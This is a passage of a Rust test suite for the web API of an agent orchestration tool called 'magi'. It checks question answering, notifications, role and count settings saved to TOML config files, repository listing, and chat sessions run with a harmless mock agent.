13058 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13059 assert_eq!(list[0]["origin_chat_closed"], true);
13060 assert_eq!(list[0]["can_consult_chat"], false);
13061
13062 fx.talks().remove(&talk.id).unwrap();
13063 let list = fx.get("/api/questions").await.json();
13064 assert_eq!(list[0]["origin_chat"], Value::Null);
13065 assert_eq!(list[0]["origin_chat_closed"], false);
13066 assert_eq!(list[0]["can_consult_chat"], false);
13067 }
13068
13069 #[tokio::test]
13070 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13071 let fx = Fixture::start().await;
13072 let store = fx.questions();
13073 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13074 store.beat(&id, ask::WaiterKind::Asker);
13075 assert_eq!(
13076 fx.get("/api/health").await.json()["questions_needs_owner"],
13077 1
13078 );
13079
13080 let res = fx
13086 .post(
13087 &format!("/api/questions/{id}/say"),
13088 Some(r#"{"body":"why not Postgres?"}"#),
13089 )
13090 .await;
13091 assert_eq!(res.status, 200, "{}", res.body);
13092 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13093 assert_eq!(
13094 fx.get("/api/health").await.json()["questions_needs_owner"],
13095 0,
13096 "waiting on the agent is not waiting on the owner"
13097 );
13098
13099 let mut q = store.get(&id).expect("get");
13103 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13104 .expect("reply");
13105 store.put(&mut q).expect("put");
13106 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13107 assert_eq!(
13108 fx.get("/api/health").await.json()["questions_needs_owner"],
13109 1,
13110 "the agent's reply is what should light the banner back up"
13111 );
13112 }
13113
13114 #[tokio::test]
13115 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13116 let fx = Fixture::start().await;
13117 let store = fx.questions();
13118
13119 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13120 let res = fx
13121 .post(
13122 &format!("/api/questions/{empty_id}/say"),
13123 Some(r#"{"body":" "}"#),
13124 )
13125 .await;
13126 assert_eq!(res.status, 400, "{}", res.body);
13127
13128 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13129 let mut answered = store.get(&answered_id).expect("get");
13130 answered
13131 .answer(Answer::Choice("SQLite".to_owned()))
13132 .expect("answer");
13133 store.put(&mut answered).expect("put");
13134 let res = fx
13135 .post(
13136 &format!("/api/questions/{answered_id}/say"),
13137 Some(r#"{"body":"still there?"}"#),
13138 )
13139 .await;
13140 assert_eq!(res.status, 409, "{}", res.body);
13141
13142 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13143 let mut abandoned = store.get(&abandoned_id).expect("get");
13144 abandoned.abandon("timed out");
13145 store.put(&mut abandoned).expect("put");
13146 let res = fx
13147 .post(
13148 &format!("/api/questions/{abandoned_id}/say"),
13149 Some(r#"{"body":"still there?"}"#),
13150 )
13151 .await;
13152 assert_eq!(res.status, 409, "{}", res.body);
13153 }
13154
13155 #[tokio::test]
13156 async fn an_answer_the_question_does_not_offer_is_refused() {
13157 let fx = Fixture::start().await;
13158 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13159 let path = format!("/api/questions/{id}/answer");
13160
13161 for body in [
13162 r#"{"choice":"Postgres"}"#,
13163 r#"{"text":"whatever you think"}"#,
13164 r#"{"choice":"Redis","text":"both"}"#,
13165 r#"{}"#,
13166 ] {
13167 let res = fx.post(&path, Some(body)).await;
13168 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13169 assert!(res.json()["error"].is_string(), "{}", res.body);
13170 }
13171 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13173 }
13174
13175 #[tokio::test]
13176 async fn a_free_text_question_takes_text_and_not_a_choice() {
13177 let fx = Fixture::start().await;
13178 let id = ask(&fx, "What should the flag be called?", &[]);
13179 fx.questions().beat(&id, ask::WaiterKind::Asker);
13180 let path = format!("/api/questions/{id}/answer");
13181
13182 assert_eq!(
13183 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13184 400
13185 );
13186 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13187 assert_eq!(res.status, 200, "{}", res.body);
13188 assert_eq!(res.json()["answer"]["text"], "--json");
13189 }
13190
13191 #[tokio::test]
13192 async fn an_unknown_question_is_a_json_404() {
13193 let fx = Fixture::start().await;
13194 let res = fx
13195 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13196 .await;
13197 assert_eq!(res.status, 404, "{}", res.body);
13198 assert!(res.json()["error"].is_string());
13199 }
13200
13201 #[tokio::test]
13202 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13203 let fx = Fixture::start().await;
13204 let questions = Questions::at(fx.home.path().join("questions"));
13205 let store = Notices::at(fx.home.path().join("notifications"));
13206 let mut q = ask::Question::new(
13207 "t1".into(),
13208 "conduct".into(),
13209 "conductor".into(),
13210 "Continue?".into(),
13211 String::new(),
13212 Vec::new(),
13213 );
13214 questions.put(&mut q).unwrap();
13215 let mut n = Notice::warn("task:t1", "Task t1 is held.");
13216 n.covered_by = Some(q.id.clone());
13217 let n = store.raise(n).unwrap();
13218 let listed = fx.get("/api/notifications").await.json();
13219 assert_eq!(listed["items"][0]["answerable_question"], q.id);
13220 questions
13221 .update(&q.id, |q| {
13222 q.abandon("run gone");
13223 Ok(())
13224 })
13225 .unwrap();
13226 let listed = fx.get("/api/notifications").await.json();
13227 assert!(listed["items"][0]["answerable_question"].is_null());
13228 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13229 assert!(
13230 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13231 .unwrap()
13232 .contains("answerable_question")
13233 );
13234 }
13235
13236 #[tokio::test]
13237 async fn notifications_list_read_dismiss_and_health_agree() {
13238 let fx = Fixture::start().await;
13239 let store = Notices::at(fx.home.path().join("notifications"));
13240 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
13241 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
13242
13243 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
13244 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
13245
13246 store
13247 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
13248 .unwrap();
13249 let health = fx.get("/api/health").await.json();
13250 assert_eq!(health["notifications_unread"], 2);
13251 assert_ne!(
13252 health["notifications_rev"], rev0,
13253 "the badge must move live"
13254 );
13255
13256 let listed = fx.get("/api/notifications").await.json();
13257 assert_eq!(listed["unread"], 2);
13258 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
13259 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
13260
13261 let read = fx
13262 .post(&format!("/api/notifications/{}/read", a.id), None)
13263 .await;
13264 assert_eq!(read.status, 200, "{}", read.body);
13265 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
13266
13267 let gone = fx
13268 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
13269 .await;
13270 assert_eq!(gone.status, 200, "{}", gone.body);
13271 let listed = fx.get("/api/notifications").await.json();
13272 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13273 assert_eq!(listed["unread"], 0);
13274
13275 store.raise(Notice::info("x", "again")).unwrap();
13276 let all = fx.post("/api/notifications/read-all", None).await;
13277 assert_eq!(all.status, 200, "{}", all.body);
13278 assert_eq!(all.json()["marked"], 1);
13279 assert_eq!(
13280 fx.get("/api/health").await.json()["notifications_unread"],
13281 0
13282 );
13283
13284 let missing = fx.post("/api/notifications/nope/read", None).await;
13285 assert_eq!(missing.status, 404, "{}", missing.body);
13286 assert!(missing.json()["error"].is_string());
13287 }
13288
13289 #[tokio::test]
13296 async fn a_task_cannot_be_filed_over_the_phone_directly() {
13297 let f = Fixture::start().await;
13298
13299 let res = f
13300 .post(
13301 "/api/queue",
13302 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
13303 )
13304 .await;
13305
13306 assert_eq!(
13307 res.status, 405,
13308 "POST /api/queue must not be a route: {}",
13309 res.body
13310 );
13311 assert!(
13312 f.queue().list().is_empty(),
13313 "a task filed by a route that does not exist must not reach the disk"
13314 );
13315 assert_eq!(f.get("/api/queue").await.status, 200);
13318 }
13319
13320 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
13322 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
13323 .expect("checkout dir");
13324 }
13325
13326 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13328
13329 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13330 let tmp = TempDir::new().expect("tempdir");
13331 let repo = tmp.path().join("repo");
13332 std::fs::create_dir_all(&repo).expect("repo dir");
13333 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13334 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13335 if let Some(text) = machine_toml {
13336 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13337 std::fs::write(&machine, text).expect("machine toml");
13338 }
13339 (tmp, repo, machine)
13340 }
13341
13342 async fn settings_checkout(path: &FsPath, text: &str) {
13343 std::fs::create_dir_all(path).unwrap();
13344 std::fs::write(path.join("magi.toml"), text).unwrap();
13345 for args in [
13346 vec!["init", "-b", "main"],
13347 vec!["add", "magi.toml"],
13348 vec![
13349 "-c",
13350 "user.name=Test",
13351 "-c",
13352 "user.email=test@example.invalid",
13353 "commit",
13354 "-m",
13355 "fixture",
13356 ],
13357 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13358 vec![
13359 "symbolic-ref",
13360 "refs/remotes/origin/HEAD",
13361 "refs/remotes/origin/main",
13362 ],
13363 ] {
13364 crate::git::git(path, &args).await.unwrap();
13365 }
13366 }
13367
13368 #[tokio::test]
13369 async fn settings_context_handlers_validate_and_save_without_a_socket() {
13370 let (tmp, repo, machine) =
13371 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13372 let root = tmp.path().join("roots");
13373 let selected = root.join("host/owner/selected");
13374 settings_checkout(
13375 &selected,
13376 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13377 )
13378 .await;
13379 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13380 let before = std::fs::read(&machine).unwrap();
13381 let ui = Arc::new(
13382 Ui::new(
13383 Queue::at(tmp.path().join("queue")),
13384 Questions::at(tmp.path().join("questions")),
13385 Talks::at(tmp.path().join("talks")),
13386 tmp.path().join("runs"),
13387 tmp.path().to_path_buf(),
13388 repo.clone(),
13389 )
13390 .with_machine_config(Some(machine.clone())),
13391 );
13392 let query = || {
13393 Query(SettingsQuery {
13394 repo: Some(selected.clone()),
13395 })
13396 };
13397 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13398 assert!(v.error.is_none(), "{:?}", v.error);
13399 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13400 assert_eq!(conductor.source, "repo");
13401 assert_eq!(
13402 conductor.machine_value,
13403 Some(toml::Value::String("a".into()))
13404 );
13405 assert!(!conductor.editable);
13406 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13407 assert_eq!(
13408 judges.count.as_ref().unwrap().machine_value,
13409 Some(toml::Value::Integer(1))
13410 );
13411 assert!(
13412 !v.roles
13413 .iter()
13414 .find(|r| r.key == "reviewers")
13415 .unwrap()
13416 .editable
13417 );
13418 let unknown = || {
13419 Query(SettingsQuery {
13420 repo: Some(tmp.path().to_path_buf()),
13421 })
13422 };
13423 assert_eq!(
13424 settings_get(State(ui.clone()), unknown())
13425 .await
13426 .unwrap_err()
13427 .status,
13428 StatusCode::UNPROCESSABLE_ENTITY
13429 );
13430 let body = || {
13431 Ok(Json(RolesBody {
13432 revision: v.revision.clone(),
13433 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13434 counts: Default::default(),
13435 }))
13436 };
13437 assert_eq!(
13438 settings_put_roles(State(ui.clone()), unknown(), body())
13439 .await
13440 .unwrap_err()
13441 .status,
13442 StatusCode::UNPROCESSABLE_ENTITY
13443 );
13444 assert_eq!(std::fs::read(&machine).unwrap(), before);
13445 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13446 .await
13447 .unwrap();
13448 assert_eq!(
13449 saved.repo,
13450 selected.canonicalize().unwrap().display().to_string()
13451 );
13452 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13453 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13454 let fresh = root.join("host/owner/fresh");
13456 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13457 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13458 .await
13459 .unwrap();
13460 assert_eq!(fresh_view.repositories.len(), 3);
13461 }
13462
13463 #[tokio::test]
13464 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13465 let (tmp, repo, machine) = settings_dirs(
13466 "[roles]\nreviewers = [\"a\"]\n",
13467 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13468 );
13469 let root = tmp.path().join("roots");
13470 let selected = root.join("host/owner/selected");
13471 settings_checkout(
13472 &selected,
13473 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13474 )
13475 .await;
13476 let broken = root.join("host/owner/broken");
13477 settings_checkout(&broken, "[roles\nbroken").await;
13478 let machine_text = format!(
13479 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13480 toml::Value::String(root.display().to_string())
13481 );
13482 std::fs::write(&machine, &machine_text).unwrap();
13483 let originals: Vec<_> = [&repo, &selected, &broken]
13484 .iter()
13485 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13486 .collect();
13487 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13488 let default = f.get("/api/settings").await.json();
13489 assert_eq!(
13490 default["repo"],
13491 repo.canonicalize().unwrap().display().to_string()
13492 );
13493 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13494 let query = format!("?repo={}", selected.display());
13495 let res = f.get(&format!("/api/settings{query}")).await;
13496 assert_eq!(res.status, 200, "{}", res.body);
13497 let v = res.json();
13498 assert!(v["error"].is_null(), "{v}");
13499 assert_eq!(v["repositories"], default["repositories"]);
13500 let role = |key: &str| {
13501 v["roles"]
13502 .as_array()
13503 .unwrap()
13504 .iter()
13505 .find(|r| r["key"] == key)
13506 .unwrap()
13507 };
13508 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13509 assert_eq!(role("advisors")["source"], "repo");
13510 assert_eq!(role("advisors")["editable"], false);
13511 assert!(role("advisors")["machine_value"].is_null());
13512 assert_eq!(role("judges")["count"]["value"], 2);
13513 assert_eq!(role("judges")["count"]["machine_value"], 1);
13514 assert_eq!(role("judges")["count"]["source"], "repo");
13515 let source = role("judges")["count"]["source_path"].as_str().unwrap();
13516 assert!(
13517 source.contains("origin/main") && !source.contains("magi/config/"),
13518 "{source}"
13519 );
13520 assert_eq!(
13521 role("reviewers")["editable"],
13522 false,
13523 "default context outside roots must protect its declarations"
13524 );
13525 let body =
13526 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13527 let unknown = format!("?repo={}", tmp.path().display());
13528 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13529 assert_eq!(
13530 f.put(&format!("/api/settings/roles{unknown}"), &body)
13531 .await
13532 .status,
13533 422
13534 );
13535 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13536 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13537 .to_string();
13538 assert_eq!(
13539 f.put(&format!("/api/settings/roles{query}"), &refuse)
13540 .await
13541 .status,
13542 422
13543 );
13544 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13545 assert_eq!(saved.status, 200, "{}", saved.body);
13546 assert_eq!(saved.json()["repo"], v["repo"]);
13547 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13548 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13549 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13550 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13551 }
13552 let error = f
13553 .get(&format!("/api/settings?repo={}", broken.display()))
13554 .await;
13555 assert_eq!(error.status, 200);
13556 assert!(error.json()["error"]["message"].is_string());
13557 assert_eq!(error.json()["repositories"], default["repositories"]);
13558 }
13559
13560 #[tokio::test]
13561 async fn settings_get_reports_sources_and_the_advisors_fallback() {
13562 let (_tmp, repo, machine) =
13563 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13564 let f = Fixture::with_repo_and_machine(repo, machine).await;
13565 let res = f.get("/api/settings").await;
13566 assert_eq!(res.status, 200, "{}", res.body);
13567 let v = res.json();
13568 assert!(v["error"].is_null(), "{v}");
13569 let role = |k: &str| {
13570 v["roles"]
13571 .as_array()
13572 .and_then(|r| r.iter().find(|x| x["key"] == k))
13573 .cloned()
13574 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13575 };
13576 assert_eq!(role("judges")["source"], "machine");
13577 assert_eq!(role("judges")["editable"], true);
13578 assert_eq!(role("implementers")["source"], "default");
13579 let adv = role("advisors");
13580 assert_eq!(adv["fallback"], "judges");
13581 assert!(
13582 adv["seats"]
13583 .as_array()
13584 .is_some_and(|s| s.iter().all(|x| x == "b")),
13585 "{adv}"
13586 );
13587 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13588 assert_eq!(v["agents"][0]["source"], "repo");
13589 }
13590
13591 #[tokio::test]
13592 async fn settings_get_reports_a_config_that_does_not_parse() {
13593 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13594 let f = Fixture::with_repo_and_machine(repo, machine).await;
13595 let res = f.get("/api/settings").await;
13596 assert_eq!(res.status, 200, "{}", res.body);
13597 let v = res.json();
13598 assert!(v["error"]["message"].is_string(), "{v}");
13599 assert!(
13600 v["error"]["path"]
13601 .as_str()
13602 .is_some_and(|p| p.ends_with("magi.toml")),
13603 "{v}"
13604 );
13605 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13606 }
13607
13608 #[tokio::test]
13609 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13610 let (_tmp, repo, machine) = settings_dirs(
13611 SETTINGS_AGENTS,
13612 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
13613 );
13614 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13615 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13616 let rev = f.get("/api/settings").await.json()["revision"]
13617 .as_str()
13618 .expect("revision")
13619 .to_owned();
13620 let body = serde_json::json!({
13621 "revision": rev,
13622 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13623 })
13624 .to_string();
13625 let res = f.put("/api/settings/roles", &body).await;
13626 assert_eq!(res.status, 200, "{}", res.body);
13627 let text = std::fs::read_to_string(&machine).expect("machine");
13628 assert_eq!(
13629 text,
13630 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13631 );
13632 assert_eq!(
13633 std::fs::read(repo.join("magi.toml")).expect("read"),
13634 repo_before
13635 );
13636 let again = f.get("/api/settings").await.json();
13637 let judges = again["roles"]
13638 .as_array()
13639 .expect("roles")
13640 .iter()
13641 .find(|r| r["key"] == "judges")
13642 .expect("judges")
13643 .clone();
13644 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13645 let stale = f.put("/api/settings/roles", &body).await;
13647 assert_eq!(stale.status, 409, "{}", stale.body);
13648 }
13649
13650 #[tokio::test]
13651 async fn settings_counts_are_reported_and_saved() {
13652 let (_tmp, repo, machine) = settings_dirs(
13653 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13654 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13655 );
13656 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13657 let v = f.get("/api/settings").await.json();
13658 let count = |v: &serde_json::Value, k: &str| {
13659 v["roles"]
13660 .as_array()
13661 .and_then(|r| r.iter().find(|x| x["key"] == k))
13662 .map(|x| x["count"].clone())
13663 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13664 };
13665 let imp = count(&v, "implementers");
13666 assert_eq!(imp["value"], 2);
13667 assert_eq!(imp["source"], "machine");
13668 assert_eq!(imp["file_key"], "candidates");
13669 assert_eq!(imp["roster_len"], 2);
13670 assert_eq!(imp["backups"], 0);
13671 assert_eq!(count(&v, "judges")["source"], "default");
13672 assert_eq!(count(&v, "advisors")["min"], 0);
13673 assert_eq!(count(&v, "reviewers")["editable"], false);
13674 assert!(
13675 count(&v, "reviewers")["locked_reason"]
13676 .as_str()
13677 .is_some_and(|m| m.contains("graph.reviewers"))
13678 );
13679 assert!(count(&v, "fixer").is_null());
13680 let rev = v["revision"].as_str().expect("revision").to_owned();
13681 let body = serde_json::json!({
13682 "revision": rev,
13683 "roles": { "judges": ["b"] },
13684 "counts": { "implementers": 1, "advisors": 0 }
13685 })
13686 .to_string();
13687 let res = f.put("/api/settings/roles", &body).await;
13688 assert_eq!(res.status, 200, "{}", res.body);
13689 let text = std::fs::read_to_string(&machine).expect("machine");
13690 assert_eq!(
13691 text,
13692 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13693 );
13694 let after = f.get("/api/settings").await.json();
13695 assert_eq!(count(&after, "implementers")["value"], 1);
13696 assert_eq!(count(&after, "implementers")["backups"], 1);
13697 assert_eq!(count(&after, "advisors")["value"], 0);
13698 let before = std::fs::read_to_string(&machine).expect("machine");
13699 let rev = after["revision"].as_str().expect("revision").to_owned();
13700 for counts in [
13701 serde_json::json!({ "judges": 0 }),
13702 serde_json::json!({ "judges": "x" }),
13703 serde_json::json!({ "judges": 2.5 }),
13704 serde_json::json!({ "judges": -1 }),
13705 serde_json::json!({ "reviewers": 3 }),
13706 serde_json::json!({ "bogus": 3 }),
13707 ] {
13708 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13709 let res = f.put("/api/settings/roles", &body).await;
13710 assert_eq!(res.status, 422, "{counts}: {}", res.body);
13711 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13712 }
13713 }
13714
13715 #[tokio::test]
13716 async fn settings_put_refuses_without_touching_the_file() {
13717 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13718 let (_tmp, repo, machine) = settings_dirs(
13719 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13720 Some(machine_text),
13721 );
13722 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13723 let rev = f.get("/api/settings").await.json()["revision"]
13724 .as_str()
13725 .expect("revision")
13726 .to_owned();
13727 for roles in [
13728 serde_json::json!({ "judges": ["nope"] }),
13729 serde_json::json!({ "reviewers": ["b"] }),
13730 serde_json::json!({ "bogus": ["a"] }),
13731 ] {
13732 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13733 let res = f.put("/api/settings/roles", &body).await;
13734 assert_eq!(res.status, 422, "{roles}: {}", res.body);
13735 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13736 assert_eq!(
13737 std::fs::read_to_string(&machine).expect("machine"),
13738 machine_text
13739 );
13740 }
13741 }
13742
13743 #[tokio::test]
13744 async fn repos_list_returns_name_and_path_for_every_configured_root() {
13745 let tmp = TempDir::new().expect("tempdir");
13746 let repo = tmp.path().join("repo");
13747 std::fs::create_dir_all(&repo).expect("repo dir");
13748 let root = tmp.path().join("root");
13749 make_checkout(&root, "github.com", "yukimemi", "magi");
13750 std::fs::write(
13751 repo.join("magi.toml"),
13752 format!(
13753 "[repos]\nroots = [{:?}]\n",
13754 root.to_string_lossy().into_owned()
13755 ),
13756 )
13757 .expect("write magi.toml");
13758
13759 let f = Fixture::with_repo(repo).await;
13760 let res = f.get("/api/repos").await;
13761 assert_eq!(res.status, 200, "{}", res.body);
13762 let list = res.json();
13763 let repos = list.as_array().expect("an array");
13764 assert_eq!(repos.len(), 1);
13765 assert_eq!(repos[0]["name"], "yukimemi/magi");
13766 assert!(
13767 repos[0]["path"]
13768 .as_str()
13769 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13770 "{list}"
13771 );
13772 }
13773
13774 #[tokio::test]
13775 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13776 let tmp = TempDir::new().expect("tempdir");
13777 let repo = tmp.path().join("repo");
13778 std::fs::create_dir_all(&repo).expect("repo dir");
13779 let root = tmp.path().join("root");
13780 make_checkout(&root, "github.com", "yukimemi", "magi");
13781 std::fs::write(
13782 repo.join("magi.toml"),
13783 format!(
13784 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13785 root.to_string_lossy().into_owned()
13786 ),
13787 )
13788 .expect("write magi.toml");
13789
13790 let f = Fixture::with_repo(repo).await;
13791 let first = f.get("/api/repos").await;
13792 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13793
13794 make_checkout(&root, "github.com", "yukimemi", "rvpm");
13797 let second = f.get("/api/repos").await;
13798 assert_eq!(
13799 second.json().as_array().map(Vec::len),
13800 Some(1),
13801 "a fresh cache must not rescan inside the TTL"
13802 );
13803
13804 let refreshed = f.get("/api/repos?refresh=1").await;
13805 assert_eq!(
13806 refreshed.json().as_array().map(Vec::len),
13807 Some(2),
13808 "an explicit refresh must rescan even inside the TTL"
13809 );
13810 }
13811
13812 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13818
13819 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13823 let tmp = TempDir::new().expect("tempdir");
13824 let repo = tmp.path().join("repo");
13825 std::fs::create_dir_all(&repo).expect("repo dir");
13826 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13827 let f = Fixture::with_repo(repo.clone()).await;
13828 (tmp, repo, f)
13829 }
13830
13831 #[tokio::test]
13832 async fn posting_a_talk_with_remembered_choices_is_soft() {
13833 let (_tmp, _repo, f) = talk_fixture().await;
13834
13835 let good = f
13836 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13837 .await;
13838 assert_eq!(good.status, 201, "{}", good.body);
13839 assert_eq!(good.json()["persona"], "rei");
13840
13841 let stale = f
13843 .post(
13844 "/api/talks",
13845 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13846 )
13847 .await;
13848 assert_eq!(stale.status, 201, "{}", stale.body);
13849 let v = stale.json();
13850 assert_eq!(v["implementers"], 1);
13851 assert_ne!(v["persona"], "nobody");
13852 let typed = f
13853 .post(
13854 "/api/talks",
13855 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13856 )
13857 .await;
13858 assert_eq!(typed.status, 201, "{}", typed.body);
13859
13860 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13862 assert!(
13863 !strict.status.to_string().starts_with('2'),
13864 "{}",
13865 strict.body
13866 );
13867 }
13868
13869 #[tokio::test]
13870 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13871 let (_tmp, _repo, f) = talk_fixture().await;
13872
13873 let opened = f.post("/api/talks", None).await;
13876 assert_eq!(opened.status, 201, "{}", opened.body);
13877 let body = opened.json();
13878 assert_eq!(body["status"], "open");
13879 assert_eq!(
13880 body["turns"].as_array().unwrap().len(),
13881 0,
13882 "opening takes no agent turn: there is nothing yet to answer"
13883 );
13884
13885 let also_opened = f.post("/api/talks", Some("{}")).await;
13887 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13888
13889 let listed = f.get("/api/talks").await.json();
13890 assert_eq!(listed.as_array().unwrap().len(), 2);
13891 }
13892
13893 #[tokio::test]
13894 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13895 let tmp = TempDir::new().expect("tempdir");
13896 let repo = tmp.path().join("repo");
13897 std::fs::create_dir_all(&repo).expect("repo dir");
13898 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13899 std::fs::write(
13900 repo.join("magi.toml"),
13901 format!("{MOCK_AGENT_TOML}\n{second}"),
13902 )
13903 .expect("write magi.toml");
13904 let home = TempDir::new().expect("temp home");
13905 let talks = Talks::at(home.path().join("talks"));
13906 let ui = Arc::new(
13907 Ui::new(
13908 Queue::at(home.path().join("queue")),
13909 Questions::at(home.path().join("questions")),
13910 talks.clone(),
13911 home.path().join("runs"),
13912 home.path().to_path_buf(),
13913 repo.clone(),
13914 )
13915 .with_worktrees_root(home.path().join("wt")),
13916 );
13917 let cfg = config_for(&repo).await.expect("discover config");
13918 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13919 let id = talk.id.clone();
13920 let call = |agent: &str| {
13921 talk_agent(
13922 State(Arc::clone(&ui)),
13923 Path(id.clone()),
13924 Json(TalkAgent {
13925 agent: agent.to_owned(),
13926 }),
13927 )
13928 };
13929
13930 let unknown = call("nobody").await.expect_err("unknown agent");
13931 assert_eq!(
13932 unknown.status,
